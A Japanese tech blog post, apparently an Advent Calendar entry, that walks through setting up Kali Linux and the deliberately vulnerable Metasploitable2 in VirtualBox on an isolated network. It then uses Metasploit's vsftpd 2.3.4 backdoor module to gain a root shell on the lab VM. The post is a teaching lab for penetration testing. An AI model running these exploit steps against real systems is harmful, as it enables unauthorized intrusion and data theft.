ちょこっとホワイトハッカーになった気持ちになって、VirtualBox上にKali Linuxをインストールし、Metasploitを使ったペネトレーションテスト(脆弱性診断)をやってみた ※最後に「Star Wars」ネタもあるよ!※

  • 92
    いいね
  • 0
    コメント

この記事はフロムスクラッチ Advent Calendar 2016の17日目の記事です。

ども('ω')ノ
take_chan_manです。
今日は心機一転、セキュリティについて書きます( ..)φカキカキ

想定読者

  • 1~2年程度Linuxを触ったことのあるエンジニア:robot:
  • 仮想環境を自身のPC上に構築したことのあるエンジニア:robot:
  • セキュリティに興味のあるエンジニア:robot:
  • Kali Linuxを使ったペネトレーションテストや脆弱性診断に興味のあるセキュリティエンジニア:robot:
  • ハッキングという言葉にやたら魅力を感じてしまうヤバめの人:skull:

※注意※
今回のチュートリアルは危険:bomb:です。
自分のPCの中に攻撃できる環境を構築したり、脆弱な環境を構築したりすることになります。
なので、ある程度ITリテラシーの高いエンジニアが、ご自身の責任と覚悟を持って試して頂きたいですm(__)m
(「もっとこんな注意書きがあた方がいいよ」というフィードバックなどあれば教えてください!コメント絶賛募集中です!!)

自己紹介

1986年:tiger:年生まれの埼玉男子です。
フロムスクラッチというベンチャーで、品質管理責任者としてプロダクトの品質はもちろん、クライアントへの価値提供の徹底をミッションに各部門の課題解決や部門間のコミュニケーション改善といった業務に従事しております。
2015年にフロムスクラッチに参画する前は、某外資系IT企業にて金融機関向けの自動FXトレーディングプラットフォームの開発を経験した後、コンサルティングファームに転職し、テクノロジーコンサルタントとしてサイバーセキュリティアナリティクス領域にてアドバイザリー業務を行っておりました。

今日はサイバーセキュリティ関連の業務に従事していたときにかじったKali Linuxのインストール方法と使い方について簡単に紹介したいと思います。ステップバイステップで紹介しようと思うので記事が長くなってしまうことをご容赦ください。(わかる人は適宜読み飛ばしてください!)

この記事の目的

  • PCにペネトレーションテストや脆弱性診断を実行する環境を構築する
    • 自分のPCに仮想環境(VirutalBox)を構築できるようになる
    • 自分のPCに攻撃する用のMetasploit仮想マシン(攻撃環境)を構築できるようになる
    • 自分のPCに攻撃される用のMetasploitable仮想マシン(脆弱環境)を構築できるようになる
  • Kali Linuxの基本的な使い方を理解する
  • Metasploitの基本的な使い方を理解する
  • バックドアについて理解する
  • VSFTPDについて理解する
  • よりセキュリティに興味を持つ
  • ホワイトハッカーに憧れる:heart_eyes:

具体的にはこんな環境を構築した上で、脆弱性を攻撃する方法を1つ紹介します!(VirtualBoxを使った紹介になりますが、VMware Workstation Playerなど、他の仮想マシンでもOKです)

image

準備

【準備①】VirtualBoxをインストールする

まずはKali Linuxのインストール先となるVirtualBoxをインストールしましょう。

image

1.OracleさんのウェブサイトからVirtualboxのインストールパッケージをダウンロードします。(対象のPlatformを選択しましょう。僕場合はWindows)
http://www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html?ssSourceSiteId=otnjp
image

このタイミングでExtension Packもダウンロードしておきましょう!

image 

2.すると、こんなアイコンのインストールパッケージが表示されます。
VirtualBoxインストールパッケージ
image
VirtualBox Extension Pack
image

3.VirtualBoxのインストーラパッケージをダブルクリックして実行します。

こっちの方です。
image
image

4.VirtualBoxのインストール先を聞かれます。特にこだわりがなければそのまま「Next」をクリックします。

image

5.VirtualBoxを「スタートメニューに追加するか」「デスクトップにショートカットを作成するか」など聞かれます。ここもこだわりがなければそのまま「Next」をクリックします。

image

6.VirtualBoxインストール中、一時的にネットワークが断絶するよっていうアラートです。「ネットから断絶されるなんて考えられない!」という方は心の準備ができてから「Yes」をクリックしましょう。

image

7.せっかく勇気を振り絞って「Yes」をクリックしたのに最終確認を求められます。焦らしてきます。「Install」をクリックしましょう。

image

8.インストール中です。数分で終わります。

image

9.インストール完了です。「Finish」をクリックしてVirtualBoxを起動しましょう。

image

10.VirtualBoxを起動できました。

image

11.VirtualBoxのマネージャー画面から[ファイル] -> [環境設定] -> [機能拡張]を選択し、右側の[パッケージ追加]アイコンをクリックします。

image

12.ダウンロードしたVirtualBox Extension Packを選択し、「インストール」をクリックします。

こいつを選択します。
image
image

13.ライセンスに合意します。

image

14.機能拡張にVirtualBox Extension Packが追加されていることを確認します。

image

【準備②】Kali Linuxをインストールし、Metasploitを起動してみる

次にKali Linuxをインストールします。

image

1.Kali Linuxダウンロードページにアクセスします。まずは動画を観ます。(ウソです。動画は飛ばしてOKです。興味がある人は確認してみよう。)

image

2.VirtualBox用のKali Linuxのインストールパッケージをダウンロードします。サイズが3.6GBと大きいので時間がかかります。
結構時間かかるのでダウンロード中は違うことをやることをオススメします!
場合によっては数時間かかります。

image

3.すると、こんなアイコンのインストールパッケージが表示されます。

image

4.VirtualBoxを起動し、マネージャ画面左上の「ファイル」ボタンをクリックし、「仮想アプライアンスのインポート」を選択します。

image

5.ダウンロードしたKali Linuxのovaファイル(Kali-Linux-2016.2-vbox-amd64.ova)を指定して「次へ」をクリックします。

image

6.「インポート」をクリックします。

image

7.インポート中です。数分かかります。

image

8.こんな感じにマネージャ画面に「Kali-Linux」の仮想マシンが追加されていることを確認します。

image

9.インターネットには公開したくないので、マネージャ画面上部の「設定」をクリックし、ネットワーク設定を「内部ネットワーク」もしくは「ホストオンリーアダプター」に設定することを推奨します。

image

10.Kali Linuxの仮想マシンを起動します。

image

11.Kali Linuxにログインします。
ユーザ名: root
パスワード: toor

rootと入力
image

toorと入力
image

12.Kali Linuxデスクトップ画面左上のApplicationsを確認してみましょう。MetasploitBurpsqlmapなどなど、脆弱性診断やペネトレーションテストに役立ちそうなツールがたくさんあります。これだけ眺めているだけでもヨダレがでてきますね( ̄¬ ̄*)ジュル

image

13.今回のチュートリアルではMetasploitを使ってみるので、ターミナルを開きます。

image

14.「msfconsle」コマンドを実行し、metasploitを起動し、いじってみましょう。

msfconsle

image

15.とりあえずまずは「help」コマンドを実行すれば使えるコマンドの一覧が表示されます。
help
こんな感じ。

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    advanced      Displays advanced options for one or more modules
    back          Move back from the current context
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
    edit          Edit the current module with $VISUAL or $EDITOR
    exit          Exit the console
    get           Gets the value of a context-specific variable
    getg          Gets the value of a global variable
    grep          Grep the output of another command
    help          Help menu
    info          Displays information about one or more modules
    irb           Drop into irb scripting mode
    jobs          Displays and manages jobs
    kill          Kill a job
    load          Load a framework plugin
    loadpath      Searches for and loads modules from a path
    makerc        Save commands entered since start to a file
    options       Displays global options or for one or more modules
    popm          Pops the latest module off the stack and makes it active
    previous      Sets the previously loaded module as the current module
    pushm         Pushes the active or list of modules onto the module stack
    quit          Exit the console
    reload_all    Reloads all modules from all defined module paths
    rename_job    Rename a job
    resource      Run the commands stored in a file
    route         Route traffic through a session
    save          Saves the active datastores
    search        Searches module names and descriptions
    sessions      Dump session listings and display information about sessions
    set           Sets a context-specific variable to a value
    setg          Sets a global variable to a value
    show          Displays modules of a given type, or all modules
    sleep         Do nothing for the specified number of seconds
    spool         Write console output into a file as well the screen
    threads       View and manipulate background threads
    unload        Unload a framework plugin
    unset         Unsets one or more context-specific variables
    unsetg        Unsets one or more global variables
    use           Selects a module by name
    version       Show the framework and console library version numbers


Database Backend Commands
=========================

    Command           Description
    -------           -----------
    creds             List all credentials in the database
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces

※Kali Linuxの日本語化などの設定については下記リンク参照:
http://www.whitehackerz.jp/blog/kali-linux%E3%82%92%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E3%81%97%E3%81%A6%E3%81%BF%E3%82%8B%EF%BC%81/

※Metasploitのコマンドについては下記リンク参照:
http://www.hackingtutorials.org/metasploit-tutorials/metasploit-commands/

【準備③】Metasploitable2をインストールする

最後に攻撃先となるMetasploitable2をインストールします。

image

1.souceforge.netからRAPID 7が提供しているMtasploitable2というパッケージをダウンロードします。
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

2.パッケージ(zipファイル)をダウンロードできたら解凍しておきます。

image

3.VirtualBoxを起動し、マネージャ画面左上の「新規」ボタンをクリックします。

image

4.名前に「Metasploitable-2」と入力し、タイプに「Linux」、バージョンに「Ubuntu」を選択し、「次へ」をクリックします。

image

5.メモリーサイズはデフォルトの「1024MB」のまま「次へ」をクリックします。

image

6.「すでにある仮想ハードディスクファイルを使用する」を選択し、先ほどダウンロードしたMetasploitable2のvmdkファイルを選択します。

image

7.インターネットには公開したくないので、マネージャ画面上部の「設定」をクリックし、ネットワーク設定を「内部ネットワーク」もしくは「ホストオンリーアダプター」に設定することを推奨します。

image

8.Metasploitable-2を起動し、usernameとpasswordに下記を設定し、ログインします。
Username: msfadmin
Password: msfadmin

image

9.「ifconfig」コマンドを実行し、この仮想マシンのIPアドレスをメモっておきます。
ifconfig
下図の場合だとIPアドレスは「192.168.56.102」。

image

これで準備は完了です。
お疲れ様でした!:tea:

実践

準備を通じてVirtualBox 上に「攻撃する用のMetasploit仮想マシン」と「攻撃される用のMetasploitable仮想マシン」を構築しました。実践では、Metasploit仮想マシンに実装されている攻撃セットを活用して、脆弱なMetasploitable仮想マシンをボコボコにします!:punch::punch::punch:

【実践】VSFTPD v2.3.4の脆弱性を攻撃してみる

2011年に多くのLinuxディストリビューションで採用されているFTPサーバーのソフトウェア「vsftpd v2.3.4」に、バックドアと呼ばれる攻撃者の侵入を可能にしてしまうコードが含まれているという脆弱性が発見されました。もちろん、この脆弱性は既にフィックスされていますが、どのような脆弱性で、どのように攻撃できたのかをMetasploitを使いながら紹介したいと思います。

※VSFTPD v2.3.4の脆弱性について詳しくは下記リンク参照:
http://www.intellilink.co.jp/article/vulner/110706.html

そもそもバックドアって何?

「バックドア(backdoor)は「裏口」などを意味する英語である。 バックドアは、クラッカーなどと呼ばれる悪意を持ったユーザーが、他人のコンピュータのシステムへの不正侵入に成功した際、次回から容易にアクセスできるようにしたり、あるいは、不正アクセスに気付かれて防御された際のすり抜け道を作ったりする目的で設置される。」
バックドアとは - 情報セキュリティ用語 Weblio辞書
www.weblio.jp/content/バックドア

じゃあVSFTPDは?

vsftpdとはFTPサーバーを構築するためのソフトウェアです。vsftpdは「Very Secure FTP Daemon」の略です。Daemon(デーモン)とは「UNIX系OSにおける常駐プログラムの呼び名」でして、Windowsにおける「サービス」がUNIX系OSにおける「デーモン」というイメージです。

本チュートリアルの目的

VSFTPD v2.3.4のバックドアコードの脆弱性を突いてroot権限を取得する!

image

Metasploit(左のやつ)
VSFTPD v2.3.4の脆弱性を突いた攻撃を実行できるシステム → Sっ気のあるシステム
1500以上のエクスプロイト(脆弱性を利用した攻撃を実行するためのスクリプト)を実装
OSはKali Linux

Metasploitable(右のやつ)
VSFTPD v2.3.4のバックドアコードが含まれた脆弱なシステム → Mっ気のあるシステム
Metasploitで実行できる攻撃の対象となる脆弱性を保有
OSはubuntu

やってみよう!

1.Metasploitを起動します。
msfconsole

image

2.vsftpd関連の攻撃手法を検索します。
search vsftpd

image
Unix系のOSに対するFTP関連の攻撃手法に「vsftpd_234_backdoor」があるのでこれを使います。

3.「vsftpd_234_backdoor」を使います。
use exploit/unix/ftp/vsftpd_234_backdoor

image
「vsftpd_234_backdoor」を実行するモードになりました。

4.「vsftpd_234_backdoor」を実行するにあたって必要な情報を確認します。
show options

image
必要な情報はRHOSTとRPORTです。RPORTは21なので、あとは攻撃対象のIPアドレスがあれば実行できます。

5.MetasploitableのIPアドレスをRHOSTに設定します。
set rhost 192.168.56.102

image

6.RHOSTにMetasploitableのIPアドレスが設定されていることを確認します。
show options

image

7.「vsftpd_234_backdoor」を実行します
run

image
root権限を取得しました。

8.root状態で少しMtasploitableを操作してみましょう。
id
image

ls -ltr
image

こんな感じでroot権限を使って「機密情報を取得」したり、「ファイルを変更」したり、「システム破壊」したりすることが可能です。

※上記のチュートリアルの操作イメージは下記リンク参照:
image

まとめ

ホワイトハッカーに興味:eyes:が沸いてきましたか??
ペネトレーションテストや脆弱性診断は知識やスキルが必要なのは確かですが、最近ではKali LinuxMetasploitBurpsqlmapDVWAExploits Databaseなどなど、サポートツールも多く提供されているので、しっかりとペネトレーションテストや脆弱性診断の体系を理解し、自分で試してみると理解が進むと思います。
セキュリティの領域はハードウェアからOS、ミドルウェア、ソフトウェアまで多岐に渡るので、遊んでいるうちに幅広い知識やスキルを習得できることがすごく魅力的だと思います。それから何よりもセキュリティエンジニアはお金も稼げます!!:moneybag::moneybag:
image

ではでは、今回はこのあたりで。次回はもう少し難しめのチュートリアルを紹介したいと思います。もしくは、今回はMetasploitを中心とした内容でしたが、Burpsqlmapを活用した診断の紹介もありかなー。あとは、脆弱性が公開されてから実際に脆弱性診断をしてみるまでの業務全体を捉えた内容とかも良いですね。

余談

Star Wars Rogue One」が遂に公開されましたね!僕は来週末あたりに観に行こうと思います。:clapper:
image

最近はクリスマス::christmas_tree:と言えば「Star Wars」。そんな人も多いんじゃないかと思います。

そこで!!今日はLinuxで「Star Wars」のASCII Movieを観る方法を伝授しちゃいます!(有名なので知っている人も多いとは思いますが。。。)

※Kali Linuxで観る方法を紹介してますが、インターネットに繋がっているUnix系OSであれば4を実行してもらえれば観られるはずです。
※面白ネタからマルウェアに感染することも日常茶飯事ですので、このStar Wars ASCII Movie含め、細心の注意を払ってアクセスしてください(セキュリティのネタを書いたのでこのくらいは言っておかないと笑)

UNIX系OSでStar WarsのASCII Movieを観る方法

1.Kali Linuxを起動し、ネットワークの設定を一時的に「NAT」に変更します。

image

2.Firefoxを開いてみて、インターネットにアクセスできることを確認します。

image

3.ターミナルを開きます。

image

4.ターミナルに下記コマンドを叩きこみます!
telnet towel.blinkenlights.nl

5.Star Warsを楽しみます:smiley:

image

image

image

※途中でMovieを止める場合は、ctrl+]を押してからquitと入力すればOKです。

6.ネットワーク設定を「ホストオンリーアダプター」に戻します。

image


それでは、明日は遂に読書や創作が趣味なITエンジニアtakemikami先生の出番です!!お楽しみに☆
クリスマスまであと8日ですよー(@^^)/~~~

To be continued...